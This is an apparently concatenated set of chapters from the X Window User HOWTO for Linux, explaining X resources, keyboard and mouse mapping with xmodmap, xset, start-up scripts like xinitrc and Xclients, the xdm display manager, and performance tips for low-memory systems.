1.7. Standard Disclaimer

The information and examples given here are for illustrative purposes. Use at your own risk. Every attempt has been made to insure that the content of this document was accurate when written. If you find inaccuracies, please send me clarifications.

References to any particular company, product or brand name should not be construed as an endorsement.

Prev | Home | Next
The X Window User HOWTO |  | XFree86


More X Configuration

The X Window User HOWTO
Prev Next

4. More X Configuration

Before taking a look at various configuration mechanisms for X servers and clients, it should be noted that the advent of Desktop Environments like KDE have become popular in part because they can control much of the user interaction configuration themselves with nice, "user friendly" GUI controls. And in fact, the compliant applications that are part of the respective Desktops will be best configured through the Desktop's configuration tools, or the application's own GUI configuration methods. So, for instance, gtop, a GNOME client application, is best configured via GNOME or gtop's own menus. But this is not true of all X applications.

4.1. X Resources

The X server can store various configuration values for client programs so they are readily available when needed. If the application supports this, it will use these as defaults whenever that program is invoked. These are known as "Resources", and are often used to define user preferences on a per application basis for fonts, colors, screen placement (geometry) and various other attributes. This makes it easy to customize applications.

Resources are specified as text strings (e.g. Netscape*blinkingEnabled: False) that can be read from disk in various places when X is starting, or even interactively defined on the command line. Program components are named in a hierarchical fashion, with each object in the hierarchy identified by a class as well as an instance name. At the top level of the hierarchy is the class and instance name of the application itself. Typically, the class name of the application is the same as the program name, but with the first letter capitalized (e.g. Vim or Emacs) although some programs that begin with the letter "X" also capitalize the second letter for historical reasons (e.g. XTerm). Each definition will specify a class (or instance), with corresponding resource and value. Below this in the hierarchy are the various attributes that make up the definable aspects of the application.

Traditionally, most X programs were configured this way. This is not as true today with the advent of Desktop Environments which often have their own configuration mechanisms.

As an example, say we prefer to run xterm with a blue background. So if we run it from the command line, we would run it as:

 xterm -bg blue &

If this is our preference, it would be easier to put this preference in a file somewhere, and have the system use our preference. That way whenever we started xterm, it would use our preferred value, and we wouldn't need the command line options (unless as an override).

The basic X resource syntax is expressed like:

 <program><binding><widget><binding><widget><...><resource>:<value>

Which, in real life, typically looks something like:

 xterm*fontMenu*background: darkblue

It should be obvious what this does. The use of "*" in the definition, is called a "loose binding" and acts as a wild-card. Meaning there may be gaps in the widget hierarchy. For instance:

 xterm*background: darkblue

This would also give a dark blue background for the xterm fontMenu, but also any other xterm properties that also have a "background" attribute (e.g. window background, etc), no matter where they may be in the widget hierarchy. Similarly:

 *background: darkblue

This would define the background for any and all programs that support it -- not just xterm. Using a "." in place of a "*" would be more precise, and will not allow for wild-card gaps in the hierarchy. Also, the application must support the particular widget attribute. "Background" is a fairly safe bet, but many applications will have more specialized resources that are not so obvious. It is best to check local documentation (man pages, etc), or see if an application has an included examples. For instance, Netscape generally comes with an Netscape.ad file that has an extensive set of resource definitions that can be customized.

X resources are typically stored in more than one place (see below) and are processed by the xrdb command (see man page).

4.1.1. App Defaults

One way of storing preferred application resources is via files named for the application in an "app-defaults" directory. For instance, on my system, these are in /usr/X11R6/lib/X11/app-defaults/, though this may vary according to options your vendor has chosen. This directory contains a number of files for such well known X applications as xterm, xclock, xcalc, xload, and so on. All in all, it is a relatively small number of applications in the overall scheme of things. So not all applications use this scheme. In fact, most do not.

Each file will contain resource definitions for that application. The X server loads these by itself during start up. A brief example from XTerm-color:

 ! $XFree86$

 #include "XTerm"

 *VT100*colorMode: on
 *VT100*dynamicColors: on

 ! Uncomment this use color for underline attribute
 !*VT100*colorULMode: on
 !*VT100*underLine: off

 ! Uncomment this to use color for the bold attribute
 !*VT100*colorBDMode: on

 *VT100*color0: black
 *VT100*color1: red3
 *VT100*color2: green3
 *VT100*color3: yellow3
 *VT100*color4: blue3
 *VT100*color5: magenta3
 *VT100*color6: cyan3
 *VT100*color7: gray90
 *VT100*color8: gray30
 *VT100*color9: red
 *VT100*color10: green
 *VT100*color11: yellow
 *VT100*color12: blue
 *VT100*color13: magenta
 *VT100*color14: cyan
 *VT100*color15: white
 *VT100*colorUL: yellow
 *VT100*colorBD: white

This is mostly various color definitions. The application classname is not explicitly stated, and is assumed from the filename. So think of each line as starting: XTerm-color*. Also, notice at the top, the #include "XTerm" line, which "includes" the resource definitions for XTerm, a much longer file with a more diverse set of definitions. (Not included due to length, but worth looking at.) These files provide system wide defaults, and generally speaking, would not normally be edited by the user.

4.1.2. Xdefaults

Another common method of reading in resource preferences, is with an Xdefaults file. Or, sometimes the naming scheme may be Xresources instead. This may exist as a system wide file, such as /etc/X11/Xresources. Of course, the user is free to create a personal version in his home directory, e.g. ~/.Xdefaults. The user's version will over-ride any system wide settings, and will remain after system upgrades. Obviously, this is the place to put your own preferences.

Xresources files are read into the resource database with the xrdb command. Example:

 xrdb -merge ~/.Xresources

This can be done interactively at the command line, or placed in a script and run automatically as the X session is started. In the case of system wide files, this should be taken care of by the vendor supplied start up scripts. Generally, such scripts will also check the user's home directory as well (see the xinitrc example above). So probably all that need be done, is to create the file with a text editor.

Here's an example to illustrate a very few of the many things that might be done with an .Xdefaults file:

 ! This is a comment ;-)

 #ifdef COLOR
 *customization: -color
 #endif

 !! Let's cast a wide net, for any app supporting these
 ! Blink instead of beeping
 *visualBell: True
 *scrollTtyOutput: False
 *scrollKey:       True

 ! See Netscape.ad for many settable resources
 Netscape*noAboutSplash:	True
 Netscape*documentFonts.sizeIncrement: 5
 Netscape*documentFonts.xResolution*iso-8859-1: 120
 Netscape*documentFonts.yResolution*iso-8859-1: 120
 netscape-navigator*geometry: 960x820+240+140

 emacs*Background: DarkBlue
 emacs*Foreground: Wheat
 emacs*pointerColor: Orchid
 emacs*cursorColor: Orchid
 emacs*bitmapIcon: on
 emacs*font: 10x20

 ! GVim colors, etc
 !! GTK versions of gvim will not use all these.
 Vim*useSchemes:         all
 Vim*sgiMode:            true
 Vim*useEnhancedFSB:     true
 Vim.foreground:         Black
 !Vim.background:        lightyellow2
 Vim*background:         white
 ! geometry: width x height
 Vim.geometry:  88x40
 Vim*font:  -misc-fixed-medium-r-normal--20-200-75-75-c-100-iso8859-15-*5
 Vim*menuBackground: yellow
 Vim*menuForeground: black

 rxvt*backspacekey: ^?
 rxvt*background: Black
 rxvt*foreground: wheat
 rxvt*cursorColor: Orchid
 rxvt*geometry: 100x18+40+300
 rxvt*title: Linux
 rxvt*reverseVideo: false
 !rxvt*backgroundPixmap: ~/penguinitis.xpm
 rxvt*scrollBar: true
 rxvt*reverseWrap: true
 rxvt*font: -*-lucidatypewriter-medium-*-*-*-14-*-*-*-*-*-*-*
 rxvt*fullCursor: true
 rxvt*saveLines:  1500
 rxvt*menu: ~/rxvt.menu

 XTerm*saveLines:    1500
 ! Do not clear the screen after the program exits
 XTerm*VT100*titeInhibit: true

 ! Fix up xterm's keybindings
 xterm*VT100.translations:	#override \
       <Key>BackSpace:    string(0x7F) \n\
       <Key>Insert:       string(0x1b) string("[2~")\n\
       <Key>Delete:       string(0x1b) string("[3~")\n\
       <Key>Home:         string(0x1b) string("[1~")\n\
       <Key>End:	     string(0x1b) string("[4~")\n\
       <Key>Page_Up:      string(0x1b) string("[5~")\n\
       <Key>Page_Down:    string(0x1b) string("[6~")\n\
       <KeyPress>Prior : scroll-back(1,page)\n\
       <KeyPress>Next : scroll-forw(1,page)

 ! Ghostview
 Ghostview*Font: *-helvetica-bold-r-normal--12-*-*-*-*-*-*
 Ghostview*BorderColor:  white
 Ghostview*Text*Font:    rk14
 Ghostview*Background:   #d9d9d9
 !Ghostview*Foreground:  white
 ghostview.form.pageview.page.background: white
 ghostview.form.pageview.page.foreground: black
 .ghostview.zoom.form.page.background: white
 .ghostview.zoom.form.page.foreground: black

 ! xscreensaver !
 ! Time out after 12 minutes, cycle mode after each 2
 xscreensaver.timeout: 12
 xscreensaver.cycle: 5
 ! Run low priority, and fade between modes
 xscreensaver.nice: 12
 xscreensaver.fadeSeconds: 2

 XFontsel.menu.options.showUnselectable: False

Hopefully, these few examples will give you some ideas to build on. X does not need to be restarted if xrdb is used interactively from the command line after making changes. The effects are immediate.

Resources are sometimes available also as command line options. See below. Command line options will over-ride any existing resource definitions.

4.2. xmodmap, the Keyboard and Mice

The keyboard and mouse, as well as other possible input devices, are defined in XF86Config (or XF86Config-4). There is a keyboard layout that is defined based on the preferred language:

 Section "InputDevice"
    Identifier  "Keyboard0"
    Driver      "keyboard"
    Option      "XkbLayout"	"us"
 EndSection

This gives us our default keyboard layout. Valid layout labels are listed in /usr/X11R6/lib/X11/xkb/symbols. Also, the setxkbmap utility can be used to change this interactively.

X is highly customizable, and we can modify the keyboard and mouse pointer mappings to suit our own preferences. The utility to do this is xmodmap (see man page). You don't like where the capslock key is? So move it ;-)

Like xrdb, xmodmap can be run from the command line. Or, preferred settings can be stored in a file. Typically this is ~/.Xmodmap, or similar. If your X start up files don't parse this, then edit as appropriate so that they do (probably from ~/.xinitrc or ~/.xsession).

You can view your current key and mouse mappings with: xmodmap -pk -pp |less. This will print out all active "keycode" values, with corresponding "keysym" values, and any keysym names that xmodmap knows about (e.g. "BackSpace"). And should also give you an idea of how xmodmap understands key and mouse events. There are two keysyms per keycode. The second is the shifted value. XFree86's xev utility can be used to dump a lot of information on key-presses and mouse events interactively. Pay attention to the "keycode" value. That is what you will need to know in order to re-map.

xmodmap is often used to make minor keyboard adjustments, like proper Backspace/Delete mapping. Or can be used make major adjustments such as for international mappings. You can only re-map keys and mouse events -- you cannot assign macros to key events (your Window Manager or Desktop might have some of this functionality).

Setting up international keyboards in nicely discussed in http://www.linuxdoc.org/HOWTO/mini/Intkeyb/index.html. Also, a search of http://google.com/linux will turn up many creative examples.

The man page has many brief examples of various usages. Here is what an one hypothetical ~/.Xmodmap might look like:

 ! /home/hal/.Xmodmap, last change 10/03/01
 !
 ! Force backspace to 22 and Delete to 111
 keycode 22 = BackSpace
 keycode 111 = Delete
 !
 ! My keyboard handles right and left Alt differently. Make the
 ! Right act like the Left to avoid digital gymnastics.
 keycode 63 = Alt_L
 keycode 113 = Meta_L
 !
 ! Hard-code the keypad to numeric values as if numlock is always on
 ! since I never use it for anything else.
 keycode 79=7
 keycode 80=8
 keycode 81=9
 keycode 83=4
 keycode 84=5
 keycode 85=6
 keycode 87=1
 keycode 88=2
 keycode 89=3
 keycode 90=0
 keycode 91=period
 keycode 86 = plus
 ! deactivate Num_Lock key since we don't need it now.
 keycode 77 =
 !
 ! My capslock is next to tab. I hit it by mistake sometimes,
 ! and don't use it anyway. So make capslock act like Tab.
 keycode 66 = Tab
 clear lock
 !
 ! Reverse mouse buttons for left-handed people
 pointer = 3 2 1

As with many XFree86 files, the "!" represents a comment. Another possible use, is to redefine those annoying "Windows" keys to something useful. Hopefully this gives an idea of some things one might want to do to make the keyboard more agreeable to us.

Speaking of the Numlock key, X will typically disable this when it starts up. No matter how you have the BIOS set up, or Linux set up before X starts. So the trick above is one way. There is also a utility available as either numlockx, or setnumlock, that can be found on the 'Net, if your distribution does not include one or the other. This can be put in a start up file to turn Numlock on automatically if you'd prefer.

Window Managers and Desktop Environments will also allow customization of the keyboard and mouse (as long as it is recognized correctly by X). This may be an easier way to configure certain customizations.

4.2.1. Special Key Mappings

There are several special key mappings traditionally used in XFree86.

  • Ctrl-Alt-BackSpace - Will kill the X server process in an orderly fashion. This is a quick, easy, legitimate way to restart X. Note it does not restart the display manager (if used) -- just X itself.

  • Ctrl-Alt-Fx - where "x" corresponds to a valid tty number (typically 1-6). This is typically used to jump to a text console login, while X remains running. To get back to X, then it is "Alt-Fx". In this case, "x" represents one plus the last tty (e.g. Alt-F7 if there are six available ttys).

  • Ctrl-Alt-keypad+ and Ctrl-Alt-keypad- - That is the plus and minus keys on the keypad. This will cycle through any existing valid screen resolution "Modes", e.g. 1024x768 -> 600x800. Note the actual screen size is the same -- just the view and resolution changes. Not all that useful for most purposes. You cannot permanently change the screen resolution without restarting X.

It's possible your Window Manager, Desktop Environment or other system component may trap these, and alter the standard behavior. In addition, the Ctrl-Alt-Delete may be trapped as well. This should shut X (and the system) down orderly, if it is available.

4.2.2. Mice and Pointers

As mentioned, Linux and Unix make heavy use of three mouse buttons. If a mouse only has two buttons, then the third (i.e. the middle) button can be simulated by pressing both buttons simultaneously. This is a configuration option set in XF86Config as the "Emulate3Buttons" directive:

 Section "InputDevice"
    Identifier  "Mouse0"
    Driver      "mouse"
    Option      "Device" "/dev/mouse"
    Option      "Protocol" "PS/2"
    Option      "Emulate3Buttons" "on"
 EndSection

When all is said and done, a third button is quite handy and I would personally recommend having one. On wheeled mice, the "wheel" acts as the third button, if pressed. Many standard wheel mice seem to work with the "IMPS/2" protocol option.

Specifically, the third button (middle) is the "paste" button in virtually all Linux applications. Copy and paste works a little different in Linux. The left button is the copy button. Just hold it down, and drag over text. It is automatically copied to the X "clipboard". Then, the middle button will paste from there. A very simple process. A double-click should copy individual words, and a triple-click individual lines of text. If for some reason, this does not work, it is either a poorly implemented application, or a bug of some kind. Some older versions of Netscape were not consistent about this, for instance. To paste from the keyboard, this should be shift+insert.

"Drag and Drop" is not natively supported by X itself. But, is implemented by some toolkits and Desktop Environments. One should not expect this to work with non-compliant applications (i.e non-KDE aware applications in KDE for example).

4.3. xset

xset is yet another XFree86 utility to set user preferences. xset is a bit of a catch-all and is used to change various, unrelated X server settings. Mostly this is a command line way of configuring some of the same things that are defined in XF86Config (but not everything!).

Common usages of xset are to set DPMS on or off and preferred intervals, to dynamically change the FontPath or re-read it, to control keyboard LEDs, to adjust mouse (or other pointer) movement speed, set keyboard "autorepeat" and "repeat" rates, and to control X's built in screen blanking. See the man page, of course, for detailed explanations, and other xset usages.

Again, xset can be used interactively from the command line. But most often preferred settings are stored in one of the start up configuration files, like .xinitrc or .xsession. A very brief example:

 # Turn off screen blanking
 xset s off

 # Enable DPMS energy saving
 xset +dpms

 # Tweak the rodent
 xset m 30/10 4

 # Speed up keyboard
 xset r rate 200 40

Your desktop may have a GUI front-end for xset.

Prev | Home | Next
Running X |  | Fonts and Colors


Performance Considerations

The X Window User HOWTO
Prev Next

9. Performance Considerations

As has been discussed, what we call X, is actually a convergence of various components: X server, Window Manager, Desktop, etc. With MS Windows, the GUI desktop is tightly integrated with the operating system itself. This is not the case in Linux which follows the Unix tradition of combining various independent components to achieve some end result. So we have choices with each component and it's attendant configuration and implementation. In short, much flexibility. This is where you come in. You can try various possibilities and decide what you gives you the most bang for the buck.

On low end hardware, this gives us much latitude to decrease the demand on available system resources. This is good because, if given the opportunity, X can be quite greedy with system resources. If you've recently installed a new Linux distribution, you've probably been given a default Desktop with many bells and whistles. And something that will probably need a fair amount of memory and CPU to achieve a reasonable level of performance. If you have the horse power, this should not be a problem.

It is often said that Linux functions very well with relatively little memory. This is true to a point. It does not mean though that every possible configuration will run with low memory. So if you want to use memory hungry applications, then you will have to have the memory. Or you will have to make sacrifices to achieve a satisfactory level of performance. It is quite possible to run X with reasonable performance on 16 Meg of RAM, and even less if you really want to push it. But you would have to live with some real limitations.

Let's look at some of the components and ways to decrease the demand on system resources, in case you are at the low end on hardware, or performance is not up to expectations.

9.1. Hardware

  • No big surprise, but overall system performance will be best with a fast graphics card, a fast hard drive, and lots and lots of memory -- if you want both a fast and flashy system.

  • Graphics cards are of course necessary, and the X server's video performance is tied to the card's chipset, and the corresponding XFree86 driver. Just because a given card is supported by XFree86 does not necessarily mean it is as well optimized as other cards! It may also perform better at a lower color depth (see below). It may well be worth the trip to xfree86.org to see if there are any notes related to your card with respect to performance or other issues.

  • And you might try other versions of XFree86. At this time v4.2 was just recently released. Some cards may still perform better with 3.3.6 due to the way v4.x is being incrementally developed. If you are using x4.x and performance is not good, then make sure you are using the latest available version.

9.2. Memory

The more memory, the better. X will do a lot caching to help performance. But caching requires memory, and if there isn't much to start with, then we would need to reduce memory requirements. Some tips for those with low memory or performance problems:

  • Use the free command to make sure all memory and swap is recognized.

  • Make sure you don't have other system services that are hogging memory or CPU. Use top or ps to see what is running, and disable anything you can to free up memory and CPU. Again, a default installation may have many things running that you don't really need.

  • Make sure you have plenty of swap space. With low, or even modest, memory, swap is all the more important. A general rule of thumb is twice as much swap as physical memory. With low memory, this is not enough. Try four times real memory. Or more. If you can't create more swap partitions, see the mkswap man page about creating swap files instead. Constant disk churning is a symptom of insufficient swap space, and the system will be slowed as a result. Or, a possibly this is a poorly behaved kernel VM system (try another kernel in this case).

  • Drive performance is important for swap performance. Make sure your drive has DMA enabled if the drive supports it, and is otherwise tuned and performing up to snuff. See the hdparm man page. Slow drive + slow card + low memory = slow system.

  • Don't use KDE or GNOME if memory is tight. These both require substantial memory, and are not required to just run X. Think of these as usability enhancements. 32M probably is not be enough. 64M may be decent, depending on what other applications are being used, and other variables. 128M should be adequate in most situations. 256M or more to be comfortable. File Managers like Nautilus and gmc can also be memory hungry.

  • Use a lightweight window manger. WindowMaker, BlackBox, IceWM, fvwm (and variants), XFce, all have reputations of performing well with low memory. There are surely others as well. Experiment. fvwm is generally considered the lightest of the light.

    A very nice desktop is still very possible even without KDE or GNOME. In fact, most KDE and GNOME applications can still be used even if KDE and GNOME are not running themselves (assuming the right libs are installed).

  • Don't use fancy themes or backgrounds. Plain and simple is easier on resources. Use a solid color background. Avoid pixmaps or gradients for any kind of background, including menus, title bars, etc.

  • Use a lesser screen size and color depth. 800x600x16 will not push X as hard and be easier on system resources than higher values. While a ColorDepth of 24 is preferred, you probably will not notice the difference of 16 with the majority of applications.

  • Some applications require much more memory than others. Some notable hogs are Netscape, Mozilla, office suites, and the Gimp. Netscape is faster than Mozilla (but not as nice). Netscape-Navigator uses less memory than Netscape-Communicator. Close any of these apps when not in use. Use text browsers like lynx or w3m wherever you can, like reading locally installed HTML documentation. Much faster, and much less memory is required.

  • Also, use text based clients for mail (mutt or pine) and news (slrn or trn). Again, faster and much less memory is used, and these are after all text based protocols at heart anyway.

  • rxvt uses less memory than xterm, konsole or gnome-terminal.

  • If you run an X session for long periods of time (like days or weeks), restart X occasionally to free memory tied up as cache.

  • Disable "backing store" and "save-unders" to reduce memory usage (performance penalty though). Check your Window Manager's settings too. See what modules are being loaded in the "Modules" section of XF86Config as well. Your installation may have many unnecessary ones enabled, or ones you can't take advantage of (e.g. "v4l", aka "Video4Linux").

  • Font servers may provide a slight performance boost by off-loading font rendering to the font server, while freeing the X server to do other things. But, the font server will use a small additional amount of memory as well. So, you can try it either way to see if it makes a difference.

  • Lastly, RAM is cheap now. Buy some ;-) A new drive too.

  • RAM is still just too low for X? Check out tinyX: http://www.superant.com/smalllinux/tinyX01.html. Reportedly runs in as little as 4 Meg of RAM.

9.3. Other Tips

Other tips to eek out better performance:

  • Use xset to speed up the keyboard. This can make the system feel more responsive even if it isn't really. The default always seemed sluggish to me.

  • renice X to give it a higher priority. Other platforms give the GUI high scheduling priority to achieve better responsiveness. But this is at a cost to other processes. Linux is a blank slate. You might include the font server (if being used), and key KDE and GNOME processes as well.

 nice -n -10 X :0

    This won't do much on systems that are mostly idle.

    This does not work so well with startx since X runs as root, and you're not root, right? So you'd have to use something like sudo to have this done automatically.

Prev | Home | Next
X Networking and Security |  | Appendix


Running X

The X Window User HOWTO
Prev Next

3. Running X

Starting an X session is typically done in one of two ways: the X session is started via a display manager (like xdm), and the user logs in at a GUI screen. Or, the user starts X manually after logging in to a text console. The latter is typically done with the startx command, which is a simple shell script wrapper for xinit. X runs with root privileges in either case, since it needs raw access to hardware devices.

Typically, which method is used, is determined by the system "runlevel". The default runlevel to launch at boot is set generally set in /etc/inittab on Linux:

 # Run xdm in runlevel 5
 x:5:respawn:/etc/X11/xdm -nodaemon

That would start xdm, and thus X, at runlevel 5. It will "respawn", if it dies or is stopped for any reason. You can also use the "init" command to change runlevels without rebooting (see man page).

Let's look briefly at both approaches, and then some additional configuration to set up the user's working environment.

3.1. startx

startx will start X by first invoking xinit. By itself, this would put you at a blank, fuzzy looking, bare-bones desktop with no Window Manager loaded. xinit basically takes two sets of command line arguments: client specifications (programs to run, etc), and server specifications (X server options), separated by "--". If no client program is specified on the command line, xinit will look for a .xinitrc file in the user's home directory, to run as a shell script. If found, this then would in turn run whatever user specified commands to set up the environment, or launch programs that the file contained. If this file does not exist, xinit will use the following initial command:

 xterm -geometry +1+1 -n login -display :0

If no .xserverrc is found in the user's home directory, X itself will be started with the following command:

 X :0

As you see, this is not overly helpful as it just launches one xterm. The startx shell wrapper provides additional functionality and flexibility to xinit. startx will invoke xinit for us, and provide some simple configuration options as well. You can also issue commands such as the following, for instance:

 startx -- -dpi 100 -depth 16   #force X to 100 dots per inch
                                #and colordepth of 16 (X v4 syntax)

Anything after the double dashes are passed as arguments directly to the X server via xinit. In this example, you can force X to the resolution of your preference, and still have it use the configuration files we will cover later in this document. See the Xserver man page for more command line options.

Instead of issuing the same command line every time, it is easier to use the configuration files to store this type of information for us.

If you take a look at the startx script (/usr/X11R6/bin/startx on my system), you see it uses two default configuration files to help set up the X environment: xinitrc and xserverrc. It looks first in /etc/X11/xinit/, for the system wide files. It then checks the user's home directory for similar files, which will take precedence if found. Note that the latter are Unix style "dot" files (e.g. ~/.xinitrc), and are executable shell scripts.

You normally would not want to edit the system wide files, but you can freely copy these to your home directory as a starting point, or just start from scratch. As you can tell by the names, one helps set up the X server, and one sets up xinit by executing commands, preparing the environment and possibly starting client programs like xterm or a Window Manager (yes, it's a client too).

3.1.1. xserverrc

As with all XFree86 configuration files, this is a plain text file, and is usually a simple, one line statement to start the X server. It can include any valid command line options supported by your X installation. If you always start X with your own options, this should be easier than typing the options each time. One possible ~/.xserverrc:

 exec X :0 -dpi 100 -nolisten tcp

This will start X on display :0, the first "display", at a dots-per-inch resolution of 100, and disables TCP connections. See the Xserver man page for other valid options. This is just an example.

3.1.2. xinitrc

xinitrc is used to set up a suitable X environment, and to launch other programs, a.k.a "clients" that we may want available as soon as X is started. You likely have a system wide xinitrc to start a predefined set off programs. To customize this, create your own in your home directory. Name it .xinitrc, make sure it is an executable script, and chmod +. An example (slightly modified from the original on my system):

#!/bin/sh
# $XConsortium: xinitrc.cpp,v 1.4 91/08/22 11:41:34 rws Exp $

userresources=$HOME/.Xresources
usermodmap=$HOME/.Xmodmap

# merge in defaults and keymaps
if [ -f $userresources ]; then
    xrdb -merge $userresources
fi

if [ -f $usermodmap ]; then
    xmodmap $usermodmap
fi

if [ -z "$BROWSER" ] ; then
    # we need to find a browser on this system
    BROWSER=`which netscape`
    if [ -z "$BROWSER" ] || [ ! -e "$BROWSER" ] ; then
    # not found yet
        BROWSER=
    fi
fi
if [ -z "$BROWSER" ] ; then
    # we need to find a browser on this system
    BROWSER=`which lynx`
    if [ -z "$BROWSER" ] || [ ! -e "$BROWSER" ] ; then
    # not found yet
        BROWSER=
    else
        BROWSER="xterm -font 9x15 -e lynx"
    fi
fi

export BROWSER

# start some nice programs
if [ -f $HOME/.Xclients ]; then
    exec $HOME/.Xclients
else
    xclock -geometry 50x50-1+1 &
    xterm -geometry 80x50+494+51 &
    if [ -f /usr/X11R6/bin/fvwm ]; then
        exec fvwm
    else
        exec twm
    fi
fi

#eof

Briefly, what this script does, is set up our working environment, with xmodmap (keyboard) and xrdb (application resource settings). More on these below. Then the shell variable $BROWSER is set for a GUI environment (Netscape in this example) so that any applications that might expect this, have a reasonable choice available. Then the presence of the file Xclients is checked, both as a system wide file and in the user's home directory. In this particular example, this is where any client applications are to be started, including a Window Manager (see below). These could just have as easily been started here if we had wanted to. If an Xclients file can't be found, then a Window Manager is started for us. Either fvwm, if available, or XFree86's minimalist twm if not. If for some reason, neither of these can be started, the script would exit, and X would fail to start.

3.1.3. Xclients

Everything up to this point has followed pretty much a standard and predictable sequence of events. To summarize, we have invoked startx, which in turn invoked xinit, which has parsed xinitrc for initial settings. Most Linuxes should follow this same sequence, though the various values and settings may differ.

We now are at the last link in the chain where the user normally would specify his or her preferences, including the Window Manager and/or desktop environment to be used. The system will provide sane, though possibly uninteresting, defaults if the user has not done so. Presumably, this is why you are here ;-)

The Window Manager, or desktop environment, is typically the last application started. If you want other programs (like xterm) started, they should be started before the Window Manager and "backgrounded" with an "&". This can all be done in the user's ~/.xinitrc. Or as in the above example, the actual applications are started from yet another script. Let's look at one short, hypothetical such script, .Xclients:

#!/bin/bash
# ~/.Xclients, start my programs.

xset s off s noblank
xset m 30/10 4
xset r rate 200 40

xscreensaver &
rxvt -geometry 80x50-50+150 &

echo Starting Window Manager...

if [ -x /usr/X11R6/bin/wmaker ]; then
  echo `date`: Trying /usr/X11R6/bin/wmaker... |tee -a ~/.wm-errors 2>&1
  exec /usr/X11R6/bin/wmaker >> ~/.wm-errors 2>&1
fi

echo `date`: Failed, trying fvwm... |tee -a ~/.wm-errors 2>&1

# let's try regular fvwm (AnotherLevel doesn't work with fvwm1).
if [ -n "$(type -path fvwm)" ]; then
  # if this works, we stop here
  exec fvwm >> ~/.wm-errors 2>&1
fi

echo `date`: Failed, trying twm... |tee -a ~/.wm-errors 2>&1

# wow, fvwm isn't here either ...
# use twm as a last resort.
exec twm >> ~/.wm-errors 2>&1

# Dead in the water here, X will exit as well, sigh...
echo `date`: Unable to start a Window Manager ... |tee -a ~/.wm-errors 2>&1

# eof

This really isn't so different than what xinitrc was doing at all. We added a few wrinkles, including starting a screen saver, a different terminal emulator that this user prefers (rxvt), with even more setting up of the environment (monitor, mouse and keyboard) using xset this time, and a different Window Manager than was available with the system defaults. This is in the user's home directory, so it won't be overwritten during upgrades too.

Actually, X has already started at this point, and we are just putting the finishing touches on the configuration. Notice the Window Managers are not "backgrounded" with "&" here. This is important! Something has to run in the foreground, or X will exit. We didn't start a desktop environment in this example, like KDE or GNOME, but if we did, this final application would have to be gnome-session or startkde instead. Since we are rolling our own here, if we wanted to change Window Managers, all we have to do is edit this file, and restart X. Vendor supplied configurations may be more complex than this, but the same principles apply.

As an afterword, do not think that any initial client applications must be started as we've done here. This is how it has been traditionally done, and some may prefer this approach. Most window managers have their own built-in ways to start initial programs, as do KDE and GNOME. See the respective documentation.

3.2. Display Managers

The other, more common, approach is the "GUI log-in", where X is running before log-in. This is done with the help of a "display manager", of which there are various implementations. XFree86 includes xdm (X Display Manager) for this purpose, though your distribution may use one of the others such as gdm (GNOME) or kdm (KDE).

Display managers really do much more than enable GUI style log-ins. They are also used to manage local as well as remote "displays" on a network. We won't get into details on this here, but it is nicely covered in the Remote X Apps Mini HOWTO and the XDMCP HOWTO (see the links section). For our purposes here, they provide similar services to getty and login, which allow users to log into a system and start their default shell, but in a GUI environment.

Here is an example of a more advanced usage of what else a display manager might be used for, from Diego Zamboni:

I have two X sessions running with different resolutions. I switch between them depending on whether my laptop is connected to an external monitor or using its own LCD display.

Here's my /usr/lib/X11/xdm/Xservers file that initiates both displays:

 :1 local /usr/X11R6/bin/X :1 -layout 1024x768
 :0 local /usr/X11R6/bin/X :0 -layout 1600x1200

Then I have "1024x768" and "1600x1200" defined as "server layouts" in my /etc/X11/XF86Config-4, as follows:

 Section "ServerLayout"
         Identifier     "1600x1200"
         Screen         "Screen0" 0 0
         InputDevice    "Mouse0" "CorePointer"
         InputDevice    "Keyboard0" "CoreKeyboard"
 EndSection

 Section "ServerLayout"
         Identifier     "1024x768"
         Screen         "Screen1" 0 0
         InputDevice    "Mouse0" "CorePointer"
         InputDevice    "Keyboard0" "CoreKeyboard"
 EndSection

 ## snip ...

 Section "Screen"
         Identifier   "Screen0"
         Device       "S3 Savage/MX"
         Monitor      "Monitor0"
         DefaultDepth 16

         Subsection "Display"
                 Depth  16
                 Modes  "1600x1200" "1280x1024" "1024x768"
         EndSubsection
 EndSection

 Section "Screen"
         Identifier   "Screen1"
         Device       "S3 Savage/MX"
         Monitor      "Monitor0"
         DefaultDepth 16

         Subsection "Display"
                 Depth  16
                 Modes  "1024x768" "800x600"
         EndSubsection
 EndSection

Note the use of "Identifiers" here. Diego is starting two separate "displays" here. Then he can choose which one he wants when he logs in.

Most display managers are derived from XFree86's venerable xdm, and add their own enhancements. Let's look at the most popular ones briefly.

3.2.1. xdm

xdm can be configured with configuration files located in /etc/X11/xdm/, /usr/X11R6/lib/X11/xdm, or similar locations depending on your system. These are system wide files. The file xdm-config is the main configuration file, and mostly describes where to find secondary configuration files:

 ! $XConsortium: xdm-conf.cpp /main/3 1996/01/15 15:17:26 gildea $
 DisplayManager.errorLogFile:	/var/log/xdm-errors
 DisplayManager.servers:		/etc/X11/xdm/Xservers
 DisplayManager.accessFile:	/etc/X11/xdm/Xaccess
 ! All displays should use authorization, but we cannot be sure
 ! X terminals will be configured that way, so by default
 ! use authorization only for local displays :0, :1, etc.
 DisplayManager._0.authorize:	true
 DisplayManager._1.authorize:	true
 ! The following three resources set up display :0 as the console.
 DisplayManager._0.setup:	/etc/X11/xdm/Xsetup_0
 DisplayManager._0.startup:	/etc/X11/xdm/GiveConsole
 DisplayManager._0.reset:	/etc/X11/xdm/TakeConsole
 !
 DisplayManager*resources:	/etc/X11/xdm/Xresources
 DisplayManager*session:		/etc/X11/xdm/Xsession
 !
 ! SECURITY: do not listen for XDMCP or Chooser requests
 ! Comment out this line if you want to manage X terminals with xdm
 DisplayManager.requestPort:	0

The "!" denotes comments. The command that starts the X server is in /etc/X11/xdm/Xservers in this particular example as defined by "DisplayManager.servers", and is the equivalent to xserverrc that was used for startx X server start up commands, but the syntax is slightly different here. The contents of /etc/X11/xdm/Xservers on my system are simply:

 :0 local /usr/X11R6/bin/X

This starts X on the first local display (designated by 0). Any special command line arguments that you want to add go here at the end.

Below is a sample /etc/X11/xdm/Xsetup_0 which is used to configure the log-in screen only. Notice that we're using a shell script here, and it's calling xv (a graphics display program) to set the background to a nice image (instead of the boring black and white background pattern), and if that fails, xsetroot is then invoked to at least try to set the background to a nicer blue color. This does not configure the login widget itself -- just other things that might be wanted on the screen during login.

 #!/bin/sh
 xconsole -geometry 480x100-0-0 -daemon -notify -verbose -fn \
   '-schumacher-clean-medium-r-*-*-10-*-*-*-*-*-*-*' -exitOnFail  &

